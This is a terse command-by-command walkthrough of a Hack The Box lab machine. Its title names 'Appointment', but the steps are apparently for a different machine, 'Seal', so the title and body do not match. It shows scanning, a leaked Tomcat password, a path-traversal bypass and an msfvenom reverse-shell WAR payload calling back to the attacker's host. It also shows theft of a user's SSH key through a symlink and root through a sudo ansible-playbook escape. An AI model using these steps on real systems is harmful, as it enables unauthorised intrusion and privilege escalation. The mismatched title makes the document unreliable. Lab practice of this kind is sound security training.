HackTheBox – (Starting Point) – Appointment Walkthrough
┌──(rootkali)-[/home/kali/Downloads]
└─# nmap -A 10.10.10.250
┌──(rootkali)-[/home/kali/Downloads]
└─# cat /etc/hosts | grep 10.10.10.250
Here click on commit
Username: tomcat
Password: 42MrHBf*z8{Z%
┌──(rootkali)-[/home/kali/Downloads]
└─# feroxbuster –url https://seal.htb -k
┌──(root@kali)-[/home/kali/Downloads]
└─# feroxbuster –url https://seal.htb/manager -k
https://seal.htb/manager/status
Now path traversal
https://seal.htb/manager/status/..;/html
┌──(rootkali)-[/home/kali/Downloads]
└─# msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.11 lport=1337 -f war > pentest.war
However, because we are using path traversal to get to this page we will not be able to upload directly:
We can get around this by intercepting with Burp and changing the upload URL like before.
python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
┌──(rootkali)-[/home/kali/Downloads]
└─# stty raw -echo; fg
tomcat@seal:/var/lib/tomcat9$ export TERM=xterm
tomcat@seal:/var/lib/tomcat9$ stty rows 52 cols 237
tomcat@seal:/var/lib/tomcat9$ ls -lsa /home/luis/
tomcat@seal:/var/lib/tomcat9$ ls -lsa /home/luis/.ansible/
tomcat@seal:/var/lib/tomcat9$ ps aux
tomcat@seal:/var/lib/tomcat9$ cat /opt/backups/playbook/run.yml
tomcat@seal:/var/lib/tomcat9$ cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ls –lsa
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ ln -s /home/luis/.ssh/ uploads/
tomcat@seal:/var/lib/tomcat9/webapps/ROOT/admin/dashboard$ cd /opt/backups/archives
tomcat@seal:/opt/backups/archives$ ls –lsa
tomcat@seal:/opt/backups/archives$ cp backup-2021-11-20-10\:35\:33.gz /dev/shm/pentest.gz
tomcat@seal:/opt/backups/archives$ cd /dev/shm/
tomcat@seal:/dev/shm$ gzip -kd pentest.gz
tomcat@seal:/dev/shm$ file pentest
tomcat@seal:/dev/shm$ tar xvf pentest
tomcat@seal:/dev/shm$ ls –lsa
tomcat@seal:/dev/shm$ cd dashboard/uploads/.ssh
tomcat@seal:/dev/shm/dashboard/uploads/.ssh$ ls –lsa
tomcat@seal:/dev/shm/dashboard/uploads/.ssh$ cat id_rsa
┌──(rootkali)-[/home/kali/Downloads]
└─# chmod 600 id_rsa
┌──(rootkali)-[/home/kali/Downloads]
└─# ssh -i id_rsa luis@seal.htb
luis@seal:~$ sudo –l
https://gtfobins.github.io/gtfobins/ansible-playbook/#sudo
luis@seal:/dev/shm$ TF=$(mktemp)
luis@seal:/dev/shm$ echo ‘[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]’ >$TF
luis@seal:/dev/shm$ sudo ansible-playbook $TF